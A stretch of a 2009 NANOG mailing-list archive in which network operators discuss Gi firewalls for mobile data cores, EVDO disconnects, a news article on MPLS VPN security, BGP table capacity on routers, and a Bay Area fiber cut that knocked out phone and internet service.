GGSN & Public Internet if the public IP addresses > are sufficient to cater for mobile subscribers? Especially with > 3G/UMTS/HSPA or even LTE in the future. The only reason I see to have a FW on Gi would be to have a stateful device to stop scanning from the Internet towards the mobile devices (I don't know how much SYNs you see on a /16 nowadays, it used to be quite a lot). I know mobile operators who have been operating with public IPs to all customers without FW for a lot of years. Todays GGSN and other devices should handle it, even though they didn't do it well 5+ years back. -- Mikael Abrahamsson email: swmike at swm.pp.se From rdobbins at cisco.com Thu Apr 9 11:20:13 2009 From: rdobbins at cisco.com (Roland Dobbins) Date: Fri, 10 Apr 2009 00:20:13 +0800 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> Message-ID: <21D1384B-36D7-4A21-A4D0-FE077437C754@cisco.com> On Apr 9, 2009, at 11:48 PM, Lee, Steven (NSG Malaysia) wrote: > Please share your thought and thanks in advance :) No, IMHO. Most broadband operators don't insert firewalls inline in front of their subscribers, and wireless broadband is no different. The infrastructure itself must be protected via iACLs, the various vendor-specific control-plane protection mechanisms, and so forth, but inserting additional state in the middle of everything doesn't buy anything, and introduces additional constraints and concerns. ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott From a.harrowell at gmail.com Thu Apr 9 11:21:28 2009 From: a.harrowell at gmail.com (Alexander Harrowell) Date: Thu, 9 Apr 2009 17:21:28 +0100 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> Message-ID: <200904091721.39555.alexander.harrowell@stlpartners.com> On Thursday 09 April 2009 16:48:32 Lee, Steven (NSG Malaysia) wrote: > Hi all, in most of the existing 2G/2.5G mobile PS-core (Packet Switch) > networks have Gi segment (interface between GGSN & IP Router/firewall). Due > to the IP address constraint, operator usually do NAT on the Gi firewall to > NAT the private IP to public IP in the past. Looking at the traffic pattern > and user access behaviour, does it make sense to have firewall between the > GGSN & Public Internet if the public IP addresses are sufficient to cater > for mobile subscribers? Especially with 3G/UMTS/HSPA or even LTE in the > future. > > Please share your thought and thanks in advance :) > > Regards, > Steven Lee I would think that, however you are providing IP addresses, any ingress point to a GSM core network ought to be carefully policed on security grounds. Especially if you have IMS or SIP-based services or intend to deploy them. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 194 bytes Desc: This is a digitally signed message part. URL: From smb at cs.columbia.edu Thu Apr 9 11:28:35 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Thu, 9 Apr 2009 12:28:35 -0400 Subject: Verizon EVDO Issues In-Reply-To: <86prflyi6e.fsf@seastrom.com> References: <200904081127.41697.alexander.harrowell@stlpartners.com> <49DCEFBF.8030109@rollernet.us> <86myaqw00v.fsf@seastrom.com> <20090409105557.7ef6b75c@cs.columbia.edu> <86prflyi6e.fsf@seastrom.com> Message-ID: <20090409122835.4c56a095@cs.columbia.edu> On Thu, 09 Apr 2009 11:12:57 -0400 "Robert E. Seastrom" wrote: > > I use a Verizon Wireless u727; before that, I used a PCMCIA card. > > I've never had problems with drops on idle. *However* -- if there > > was a packet from the wrong IP address, the older card would drop > > the connection -- apparently, that behavior was required by the > > spec. (I haven't checked if the newer one will do that.) So, if > > the EVDO connection dropped while I had, say, an IMAP or ssh > > session open, and I dialed back in, the next TCP packet would cause > > EVDO to drop again... I finally "fixed" it by creating ipfilter > > rules in my ppp-up script to block all "bad" packets from going out. > > Interesting. I never had that behavior exhibited on my old PCMCIA > card on Verizon or on my u727 on Sprint. What OS platform were > you on lappie-wise? I run NetBSD but I know that the problem also showed up on Linux -- a friend who worked for an equipment vendor also saw it, and he checked the actual EVDO specs. We suspect the problem doesn't show up for Windows users because Windows appears to terminate all connections with extreme prejudice when the link goes away, so there won't be any TCP transmissions to induce the failure. > > I've thought on a couple of occasions that a "geek bake-off" between > EVDO and 3G providers looking for technical jack moves on the > providers' part would make for a nice NANOG lightning talk. Sadly, I > haven't the time to devote to such an endeavor. > > -r > > > --Steve Bellovin, http://www.cs.columbia.edu/~smb From rdobbins at cisco.com Thu Apr 9 11:34:08 2009 From: rdobbins at cisco.com (Roland Dobbins) Date: Fri, 10 Apr 2009 00:34:08 +0800 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> Message-ID: <366617D8-48CA-4788-AA46-164BC180ADEF@cisco.com> On Apr 10, 2009, at 12:17 AM, Mikael Abrahamsson wrote: > Todays GGSN and other devices should handle it, even though they > didn't do it well 5+ years back. There's a lot of legacy (and not-so-legacy) gear out there with weak IP stacks; beyond that, the relevant BCPs like iACLs should be deployed to protect the GGSN, et. al. ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott From rdobbins at cisco.com Thu Apr 9 11:48:34 2009 From: rdobbins at cisco.com (Roland Dobbins) Date: Fri, 10 Apr 2009 00:48:34 +0800 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <200904091721.39555.alexander.harrowell@stlpartners.com> References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> <200904091721.39555.alexander.harrowell@stlpartners.com> Message-ID: <3FD715F6-CA84-49F7-8D9D-81D1A87233C8@cisco.com> On Apr 10, 2009, at 12:21 AM, Alexander Harrowell wrote: > I would think that, however you are providing IP addresses, any > ingress point > to a GSM core network ought to be carefully policed on security > grounds. Sure. But stateful firewalls aren't required to protect that infrastructure, stateless ACLs in hardware will work quite well. ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott From smb at cs.columbia.edu Thu Apr 9 11:56:04 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Thu, 9 Apr 2009 12:56:04 -0400 Subject: attacks on MPLS? Message-ID: <20090409125604.62240d75@cs.columbia.edu> http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 --Steve Bellovin, http://www.cs.columbia.edu/~smb From hectorherrera at gmail.com Thu Apr 9 12:08:15 2009 From: hectorherrera at gmail.com (Hector Herrera) Date: Thu, 9 Apr 2009 10:08:15 -0700 Subject: options for full routing table in 1 year? In-Reply-To: <935ead450904090753r78c667e3mbbbb90392c7969a4@mail.gmail.com> References: <935ead450904090753r78c667e3mbbbb90392c7969a4@mail.gmail.com> Message-ID: On Thu, Apr 9, 2009 at 7:53 AM, Jeffrey Ollie wrote: > On Wed, Apr 8, 2009 at 8:33 PM, Jo Rhett wrote: >> I was chatting with someone the other day and we were trying to build a >> complete list of all units which can handle full routing tables 1 year from >> now, assuming current 4k/month growth (nevermind de-aggregation) > > What about Cisco's ASR series? ?We're going to be turning up a > multihomed connection with two full BGP views and I think our reseller > is going to be recommending ASR series routers... > I believe the Cisco ASR series can handle 1M IPv4 or 250K IPv6 in their entry level unit (ASR1002), the more advanced units can be upgraded to handle 4M IPv4 or 2M IPv6. It does appear to be a "shared table" design, so you would have to chose one or the other. -- Hector Herrera President Pier Programming Services Ltd. From morrowc.lists at gmail.com Thu Apr 9 12:11:48 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 9 Apr 2009 13:11:48 -0400 Subject: attacks on MPLS? In-Reply-To: <20090409125604.62240d75@cs.columbia.edu> References: <20090409125604.62240d75@cs.columbia.edu> Message-ID: <75cb24520904091011v155d37eet9b88b264eb950de9@mail.gmail.com> On Thu, Apr 9, 2009 at 12:56 PM, Steven M. Bellovin wrote: > http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 This is different from ATM or FRAME or Private lines how? In the end, MPLS is just a transport layer for the private network, if you don't secure your data over a transport, shocker, people can see it!!! (I recognize steve knows this fact already...) -Chris From charles at thewybles.com Thu Apr 9 12:14:39 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 10:14:39 -0700 Subject: attacks on MPLS? In-Reply-To: <20090409125604.62240d75@cs.columbia.edu> References: <20090409125604.62240d75@cs.columbia.edu> Message-ID: <49DE2CFF.3080000@thewybles.com> Well if we pull apart the article a bit.... Quote 1) Network infrastructure security has been in the limelight lately, with researchers uncovering big vulnerabilities in the Domain Name System (DNS), the Border Gateway Protocol (BGP), TCP, and in Cisco routers. Wasn't aware of any big vulns in BGP (are they referring to the defcon talk that rehashed ages old bgp trust exploitation?). Cisco vulns (I realize cisco released several patches recently but not aware of any signifcant vulns). Quote 2) own set of switches and management infrastructures, and their own set of surrounding technologies," he says, "and the average attacker could not get his hands on that equipment." Hmmmm. Really? http://www.gns3-labs.com/2009/01/23/mpls-vpn-and-traffic-engineering/ + torrent the appropriate IOS images. That seems like it would be enough to build a lab environment for exploit development. Seems like the article is a lot of fear mongering. Steven M. Bellovin wrote: > http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 > > > --Steve Bellovin, http://www.cs.columbia.edu/~smb > From david at reliablehosting.com Thu Apr 9 12:15:05 2009 From: david at reliablehosting.com (David Edwards) Date: Thu, 09 Apr 2009 11:15:05 -0600 Subject: Fiber cut in SF area In-Reply-To: <20090409161254.GA6032@trace.bind.com> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> Message-ID: Hello, Mercurynews.com is reporting telephone outages in Santa Clara and Santa Cruz counties that started around 2:00 am local time. I observed numerous carrier outages starting around 4:00 am local time. Does anyone know if this is due to the same fiber cut, or are these separate issues? David At 10:12 AM 4/9/2009, you wrote: >200 Paul Ave is seeing several carriers down. I am also in Santa >Cruz and cannot make or receive long distance calls on my land >lines. Unconfirmed reports of Caltrain cut. > >Cheers, > >Aaron > >On Thu, Apr 09, 2009 at 03:37:14PM +0000, Stefan Molnar wrote: > > > > VZ in the South Bay (San Jose) is out. As per news reports I > watched at 6am PDT. > > > > > > ------Original Message------ > > From: Craig Holland > > To: NANOG > > Subject: Fiber cut in SF area > > Sent: Apr 9, 2009 8:14 AM > > > > Just dropping a note that there is a fiber cut in the SF area (I have a > > metro line down). AboveNet is reporting issues and I've heard unconfirmed > > reports that ATT and VZW are affected as well. > > > > Rgs, > > craig > > > > > > > > > > > > > >-- > >Aaron Hughes >aaronh at bind.com >(703) 244-0427 >Key fingerprint = AD 67 37 60 7D 73 C5 B7 33 18 3F 36 C3 1C C6 B8 >http://www.bind.com/ From hectorherrera at gmail.com Thu Apr 9 12:15:58 2009 From: hectorherrera at gmail.com (Hector Herrera) Date: Thu, 9 Apr 2009 10:15:58 -0700 Subject: attacks on MPLS? In-Reply-To: <20090409125604.62240d75@cs.columbia.edu> References: <20090409125604.62240d75@cs.columbia.edu> Message-ID: On Thu, Apr 9, 2009 at 9:56 AM, Steven M. Bellovin wrote: > http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 > > > ? ? ? ? ? ? ? ?--Steve Bellovin, http://www.cs.columbia.edu/~smb I'll wait to read their full presentation, but according to the article it appears to me that if they have gained access to a Network Management station or a Router, that the entire network has been compromised, not just MPLS. -- Hector Herrera President Pier Programming Services Ltd. From rs at seastrom.com Thu Apr 9 12:27:02 2009 From: rs at seastrom.com (Robert E. Seastrom) Date: Thu, 09 Apr 2009 13:27:02 -0400 Subject: Verizon EVDO Issues In-Reply-To: <20090409122835.4c56a095@cs.columbia.edu> (Steven M. Bellovin's message of "Thu, 9 Apr 2009 12:28:35 -0400") References: <200904081127.41697.alexander.harrowell@stlpartners.com> <49DCEFBF.8030109@rollernet.us> <86myaqw00v.fsf@seastrom.com> <20090409105557.7ef6b75c@cs.columbia.edu> <86prflyi6e.fsf@seastrom.com> <20090409122835.4c56a095@cs.columbia.edu> Message-ID: <86ws9trb4p.fsf@seastrom.com> "Steven M. Bellovin" writes: >> Interesting. I never had that behavior exhibited on my old PCMCIA >> card on Verizon or on my u727 on Sprint. What OS platform were >> you on lappie-wise? > > I run NetBSD but I know that the problem also showed up on Linux -- a > friend who worked for an equipment vendor also saw it, and he checked > the actual EVDO specs. > > We suspect the problem doesn't show up for Windows users because > Windows appears to terminate all connections with extreme prejudice > when the link goes away, so there won't be any TCP transmissions to > induce the failure. Didn't have the problem manifest itself on MacOSX (10.4, 10.5) either... -r From carlos at race.com Thu Apr 9 12:27:26 2009 From: carlos at race.com (Carlos Alcantar) Date: Thu, 9 Apr 2009 10:27:26 -0700 Subject: Fiber cut in SF area Message-ID: <859604546CD1FF488BDB6EA94C896AFB776082@racexchange.race.local> Seeing the same thing have an oc48 down from abovenet out of 200 paul -carlos -----Original Message----- From: Aaron Hughes [mailto:aaronh at bind.com] Sent: Thursday, April 09, 2009 9:13 AM To: Stefan Molnar Cc: NANOG Subject: Re: Fiber cut in SF area 200 Paul Ave is seeing several carriers down. I am also in Santa Cruz and cannot make or receive long distance calls on my land lines. Unconfirmed reports of Caltrain cut. Cheers, Aaron On Thu, Apr 09, 2009 at 03:37:14PM +0000, Stefan Molnar wrote: > > VZ in the South Bay (San Jose) is out. As per news reports I watched at 6am PDT. > > > ------Original Message------ > From: Craig Holland > To: NANOG > Subject: Fiber cut in SF area > Sent: Apr 9, 2009 8:14 AM > > Just dropping a note that there is a fiber cut in the SF area (I have a > metro line down). AboveNet is reporting issues and I've heard unconfirmed > reports that ATT and VZW are affected as well. > > Rgs, > craig > > > > > > -- Aaron Hughes aaronh at bind.com (703) 244-0427 Key fingerprint = AD 67 37 60 7D 73 C5 B7 33 18 3F 36 C3 1C C6 B8 http://www.bind.com/ From web at typo.org Thu Apr 9 12:31:32 2009 From: web at typo.org (Wayne E. Bouchard) Date: Thu, 9 Apr 2009 10:31:32 -0700 Subject: attacks on MPLS? In-Reply-To: <49DE2CFF.3080000@thewybles.com> References: <20090409125604.62240d75@cs.columbia.edu> <49DE2CFF.3080000@thewybles.com> Message-ID: <20090409173132.GA69583@typo.org> Meh... Sure, it rehashes what we pretty well already know, "If a bad guy can get access to your network or your management tools, you're boned." It's still worth reminding folks that they need to take appropriate measures to defend and monitor these devices. Too many networks and servers get hacked not because the attacker was good, but because the administrators (some of whom tend to be good security guys) became complacent and stopped doing routine upkeep. So in that sense, a little fear can be a good thing. -Wayne On Thu, Apr 09, 2009 at 10:14:39AM -0700, Charles Wyble wrote: > Well if we pull apart the article a bit.... > > > > Quote 1) > Network infrastructure security has been in the limelight lately, with > researchers uncovering big vulnerabilities in the Domain Name System > (DNS), the Border Gateway Protocol (BGP), TCP, and in Cisco routers. > > > Wasn't aware of any big vulns in BGP (are they referring to the defcon > talk that rehashed ages old bgp trust exploitation?). Cisco vulns (I > realize cisco released several patches recently but not aware of any > signifcant vulns). > > Quote 2) > own set of switches and management infrastructures, and their own set of > surrounding technologies," he says, "and the average attacker could not > get his hands on that equipment." > > Hmmmm. Really? > http://www.gns3-labs.com/2009/01/23/mpls-vpn-and-traffic-engineering/ + > torrent the appropriate IOS images. That seems like it would be enough > to build a lab environment for exploit development. > > Seems like the article is a lot of fear mongering. > > > Steven M. Bellovin wrote: > >http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 > > > > > > --Steve Bellovin, http://www.cs.columbia.edu/~smb > > --- Wayne Bouchard web at typo.org Network Dude http://www.typo.org/~web/ From David_Hankins at isc.org Thu Apr 9 12:49:45 2009 From: David_Hankins at isc.org (David W. Hankins) Date: Thu, 9 Apr 2009 10:49:45 -0700 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <20090409174945.GA3388@isc.org> On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: > Just dropping a note that there is a fiber cut in the SF area (I have a > metro line down). AboveNet is reporting issues and I've heard unconfirmed > reports that ATT and VZW are affected as well. Confirmed VZW & ATT; http://cbs5.com/local/phone.internet.outage.2.980578.html Rather widespread "general telco" outage, the county has deployed extra patrol units in the south bay to compensate for not being able to call 911. Third video link in shows repairs underway. -- David W. Hankins "If you don't do it right the first time, Software Engineer you'll just have to do it again." Internet Systems Consortium, Inc. -- Jack T. Hankins -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: not available URL: From ravi at cow.org Thu Apr 9 12:51:41 2009 From: ravi at cow.org (Ravi Pina) Date: Thu, 9 Apr 2009 13:51:41 -0400 Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <20090409175141.GO39240@neu.cow.org> News coverage: http://cow.org/r/?5459 http://cow.org/r/?545a And not that I expect any useful updates: http://twitter.com/attnews -r On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: > Just dropping a note that there is a fiber cut in the SF area (I have a > metro line down). AboveNet is reporting issues and I've heard unconfirmed > reports that ATT and VZW are affected as well. > > Rgs, > craig > > From andreas at naund.org Thu Apr 9 12:52:42 2009 From: andreas at naund.org (Andreas Ott) Date: Thu, 9 Apr 2009 10:52:42 -0700 Subject: Fiber cut in SF area In-Reply-To: ; from david@reliablehosting.com on Thu, Apr 09, 2009 at 11:15:05AM -0600 References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> Message-ID: <20090409105242.H28067@naund.org> Hi, On Thu, Apr 09, 2009 at 11:15:05AM -0600, David Edwards wrote: > Mercurynews.com is reporting telephone outages in Santa Clara and > Santa Cruz counties that started around 2:00 am local time. I > observed numerous carrier outages starting around 4:00 am local > time. Does anyone know if this is due to the same fiber cut, or are > these separate issues? This seems to be due to the same fiber cut when following local news and scanner frequencies. -andreas -- Andreas Ott K6OTT andreas at naund.org From charles at thewybles.com Thu Apr 9 12:56:25 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 10:56:25 -0700 Subject: attacks on MPLS? In-Reply-To: <20090409173132.GA69583@typo.org> References: <20090409125604.62240d75@cs.columbia.edu> <49DE2CFF.3080000@thewybles.com> <20090409173132.GA69583@typo.org> Message-ID: <49DE36C9.3030501@thewybles.com> Wayne E. Bouchard wrote: > Meh... > > Sure, it rehashes what we pretty well already know, "If a bad guy can > get access to your network or your management tools, you're boned." Naturally. If one gets to the control plane of your routers and/or management network you have big problems. :) However if they develop a script kidde tool that twiddles the bits in the middle.... that's a bit more concerning, as it may be difficult to detect without significant monitoring. > > It's still worth reminding folks that they need to take appropriate > measures to defend and monitor these devices. Too many networks and > servers get hacked not because the attacker was good, but because the > administrators (some of whom tend to be good security guys) became > complacent and stopped doing routine upkeep. So in that sense, a > little fear can be a good thing. Oh of course. From matthew at eeph.com Thu Apr 9 13:05:09 2009 From: matthew at eeph.com (Matthew Kaufman) Date: Thu, 09 Apr 2009 11:05:09 -0700 Subject: Fiber cut in SF area In-Reply-To: References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> Message-ID: <49DE38D5.2090103@eeph.com> I saw my Sonic.net-over-AT&T ADSL go dark at 02:30 local and it is still down, served on a fiber remote out of SNCZCA01. (I'm guessing the 200 Paul outages are associated with where this ATM terminates and that's the cause, rather than the service in/out of Santa Cruz County, but I have no way of telling which from here) My own Gatespeed.net microwave to Equinix SV-3 is working fine (no surprise there), and I'm not seeing significant routing problems in/out of there with transit or peering. (Not even any down peers, so no inter-Equinix-site outage apparently). Matthew Kaufman matthew at eeph.com From geoincidents at nls.net Thu Apr 9 13:10:12 2009 From: geoincidents at nls.net (Geo.) Date: Thu, 9 Apr 2009 14:10:12 -0400 Subject: Fiber cut in SF area In-Reply-To: Message-ID: Level3 is having problems in the 216 area code as well (Cleveland) George Roettger > -----Original Message----- > From: David Edwards [mailto:david at reliablehosting.com] > Sent: Thursday, April 09, 2009 1:15 PM > To: nanog at nanog.org > Subject: Re: Fiber cut in SF area > > > Hello, > > Mercurynews.com is reporting telephone outages in Santa Clara and > Santa Cruz counties that started around 2:00 am local time. I > observed numerous carrier outages starting around 4:00 am local > time. Does anyone know if this is due to the same fiber cut, or are > these separate issues? > > David > > From mike.lyon at gmail.com Thu Apr 9 13:11:58 2009 From: mike.lyon at gmail.com (Mike Lyon) Date: Thu, 9 Apr 2009 11:11:58 -0700 Subject: Fiber cut in SF area In-Reply-To: <20090409174945.GA3388@isc.org> References: <20090409174945.GA3388@isc.org> Message-ID: <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> Anyone know where the actual cut is? On 4/9/09, David W. Hankins wrote: > On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: >> Just dropping a note that there is a fiber cut in the SF area (I have a >> metro line down). AboveNet is reporting issues and I've heard unconfirmed >> reports that ATT and VZW are affected as well. > > Confirmed VZW & ATT; > > http://cbs5.com/local/phone.internet.outage.2.980578.html > > Rather widespread "general telco" outage, the county has deployed > extra patrol units in the south bay to compensate for not being able > to call 911. > > Third video link in shows repairs underway. > > -- > David W. Hankins "If you don't do it right the first time, > Software Engineer you'll just have to do it again." > Internet Systems Consortium, Inc. -- Jack T. Hankins > -- Sent from my mobile device From morrowc.lists at gmail.com Thu Apr 9 13:18:42 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 9 Apr 2009 14:18:42 -0400 Subject: attacks on MPLS? In-Reply-To: <20090409173132.GA69583@typo.org> References: <20090409125604.62240d75@cs.columbia.edu> <49DE2CFF.3080000@thewybles.com> <20090409173132.GA69583@typo.org> Message-ID: <75cb24520904091118t2f4e999dh3fad2cd68a00b32c@mail.gmail.com> On Thu, Apr 9, 2009 at 1:31 PM, Wayne E. Bouchard wrote: > Meh... > > Sure, it rehashes what we pretty well already know, "If a bad guy can > get access to your network or your management tools, you're boned." actually... what it says is that 'hey, your "VPN' isn't really 'private' like an IPSEC tunnel was". Save some really high-end crypto-cracking-gear if you ipsec your transport it doesn't matter where in the world it goes, it's "secure" from end to end. (secure from snooping, which seems to be the majority of their point in the article). Folks I saw at former-employer were moving from 'frame' or 'atm' private networks and to 'mpls vpn' because it was: 1) less complex for the customer 2) cheaper for the customer 3) the 'new shiny thing!!' There was little understanding initially that this might be: 1) run over the same IP core as the 'internetz' 2) not very 'private' if you count 'can not sniff' in your 'is private' bailiwick 3) less/more/equally as 'secure' as what they had previously. Noting to customers that MPLS-vpn was essentially as 'secure' as Frame/ATM was sort of an eye-opener. Some of the customers even said: "Why would I do this over internet-based IPSEC vpn?" or "Oh, so I'll still have the IPSEC management pain?" The thrust of the article (aside from the scare-mongering and press for the 'researchers' of course) is that: "Hey, just because it says: 'VPN' in the name doesn't mean its really 'private'", and that ip or application level security is still important for anything that leaves your physical perimeter AND has some level of importance to you or your business. -Chris From morrowc.lists at gmail.com Thu Apr 9 13:20:05 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 9 Apr 2009 14:20:05 -0400 Subject: Fiber cut in SF area In-Reply-To: <20090409175141.GO39240@neu.cow.org> References: <20090409175141.GO39240@neu.cow.org> Message-ID: <75cb24520904091120g5b9f78bcqaa2e0064ef412add@mail.gmail.com> isn't there a mailing list for this sort of thing? outages@ I think it is? (not that I mind, just a little advert for the appropriate forum, and a place that MAY have some useful info on this topic) -chris On Thu, Apr 9, 2009 at 1:51 PM, Ravi Pina wrote: > News coverage: > > http://cow.org/r/?5459 > http://cow.org/r/?545a > > And not that I expect any useful updates: > > http://twitter.com/attnews > > -r > > On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: >> Just dropping a note that there is a fiber cut in the SF area (I have a >> metro line down). ?AboveNet is reporting issues and I've heard unconfirmed >> reports that ATT and VZW are affected as well. >> >> Rgs, >> craig >> >> > > From charles at thewybles.com Thu Apr 9 13:22:29 2009 From: charles at thewybles.com (Charles Wyble) Date: Thu, 09 Apr 2009 11:22:29 -0700 Subject: Fiber cut in SF area In-Reply-To: <20090409175141.GO39240@neu.cow.org> References: <20090409175141.GO39240@neu.cow.org> Message-ID: <49DE3CE5.5030405@thewybles.com> Ravi Pina wrote: > News coverage: > > http://cow.org/r/?5459 > http://cow.org/r/?545a > > And not that I expect any useful updates: > > http://twitter.com/attnews > Lots of folks covering the same thing... http://search.twitter.com/search?q=fiber+cut http://search.twitter.com/search?q=outage Also reports of power outages as well: http://search.twitter.com/search?q=power+outage Here is something interesting... http://twist.flaptor.com/trends?gram=outage&table=1&tz=-7 http://twist.flaptor.com/trends?gram=fiber%20cut&table=1&tz=-7 From christian at automatick.net Thu Apr 9 13:28:43 2009 From: christian at automatick.net (Christian Koch) Date: Thu, 9 Apr 2009 11:28:43 -0700 Subject: attacks on MPLS? In-Reply-To: References: <20090409125604.62240d75@cs.columbia.edu> Message-ID: They presented on the same topic at shmoocon, not sure if the info is any more updated for BH EUROPE, but here is the pres they did in Feb09 http://www.shmoocon.org/slides/rey_mende_all_your_packets_v05.pdf On Thu, Apr 9, 2009 at 10:15 AM, Hector Herrera wrote: > On Thu, Apr 9, 2009 at 9:56 AM, Steven M. Bellovin > wrote: > > > http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 > > > > > > --Steve Bellovin, http://www.cs.columbia.edu/~smb > > I'll wait to read their full presentation, but according to the > article it appears to me that if they have gained access to a Network > Management station or a Router, that the entire network has been > compromised, not just MPLS. > > -- > Hector Herrera > President > Pier Programming Services Ltd. > > From micheal at spmedicalgroup.com Thu Apr 9 13:21:24 2009 From: micheal at spmedicalgroup.com (Micheal Patterson) Date: Thu, 9 Apr 2009 13:21:24 -0500 Subject: attacks on MPLS? References: <20090409125604.62240d75@cs.columbia.edu><49DE2CFF.3080000@thewybles.com> <20090409173132.GA69583@typo.org> Message-ID: <052FE869470040B798F7842BFAC9E362@tsgincorporated.com> ----- Original Message ----- From: "Wayne E. Bouchard" To: "Charles Wyble" Cc: Sent: Thursday, April 09, 2009 12:31 PM Subject: Re: attacks on MPLS? > Meh... > > Sure, it rehashes what we pretty well already know, "If a bad guy can > get access to your network or your management tools, you're boned." > > It's still worth reminding folks that they need to take appropriate > measures to defend and monitor these devices. Too many networks and > servers get hacked not because the attacker was good, but because the > administrators (some of whom tend to be good security guys) became > complacent and stopped doing routine upkeep. So in that sense, a > little fear can be a good thing. > > -Wayne That right there, is right on the money. In my past, I've delt with so many folks that are of the mindset that they're invulnerable due to their firewalls, router acls, etc. Fear can be a very effective driving force to ensure that one is diligent in protecting the network that they're entrusted with. When that little amount of fear is replaced by over confidence, then most often, complacency comes shortly thereafter. At that point is when things can go south in a hot minute. -- Micheal Patterson Senior Communications Systems Engineer Southern Plains Medical Group 405-917-0600 Confidentiality Notice: This e-mail message, including any attachments, is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message. From r.engehausen at gmail.com Thu Apr 9 13:44:44 2009 From: r.engehausen at gmail.com (Roy) Date: Thu, 9 Apr 2009 11:44:44 -0700 Subject: Fiber cut in SF area In-Reply-To: <49DE38D5.2090103@eeph.com> References: <232879304-1239291409-cardhu_decombobulator_blackberry.rim.net-391063629-@bxe1193.bisx.prod.on.blackberry> <20090409161254.GA6032@trace.bind.com> <49DE38D5.2090103@eeph.com> Message-ID: Service to South Santa Clara county is completely down: Internet, landline, and cellphones. Both Verizon and AT&T are affected. 911 is also down. My cellphones show one or no bars. Normally they are all four bars. The idea that all of that is lumped in one fiber bundle is mind boggling. On Thu, Apr 9, 2009 at 11:05 AM, Matthew Kaufman wrote: > I saw my Sonic.net-over-AT&T ADSL go dark at 02:30 local and it is still > down, served on a fiber remote out of SNCZCA01. (I'm guessing the 200 Paul > outages are associated with where this ATM terminates and that's the cause, > rather than the service in/out of Santa Cruz County, but I have no way of > telling which from here) > > My own Gatespeed.net microwave to Equinix SV-3 is working fine (no surprise > there), and I'm not seeing significant routing problems in/out of there with > transit or peering. (Not even any down peers, so no inter-Equinix-site > outage apparently). > > Matthew Kaufman > matthew at eeph.com > > From christian at automatick.net Thu Apr 9 13:52:15 2009 From: christian at automatick.net (Christian Koch) Date: Thu, 9 Apr 2009 11:52:15 -0700 Subject: Fiber cut in SF area In-Reply-To: <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> Message-ID: Monterey Highway I think On Thu, Apr 9, 2009 at 11:11 AM, Mike Lyon wrote: > Anyone know where the actual cut is? > > On 4/9/09, David W. Hankins wrote: > > On Thu, Apr 09, 2009 at 08:14:15AM -0700, Craig Holland wrote: > >> Just dropping a note that there is a fiber cut in the SF area (I have a > >> metro line down). AboveNet is reporting issues and I've heard > unconfirmed > >> reports that ATT and VZW are affected as well. > > > > Confirmed VZW & ATT; > > > > http://cbs5.com/local/phone.internet.outage.2.980578.html > > > > Rather widespread "general telco" outage, the county has deployed > > extra patrol units in the south bay to compensate for not being able > > to call 911. > > > > Third video link in shows repairs underway. > > > > -- > > David W. Hankins "If you don't do it right the first time, > > Software Engineer you'll just have to do it again." > > Internet Systems Consortium, Inc. -- Jack T. Hankins > > > > -- > Sent from my mobile device > > From ravi at cow.org Thu Apr 9 13:55:10 2009 From: ravi at cow.org (Ravi Pina) Date: Thu, 9 Apr 2009 14:55:10 -0400 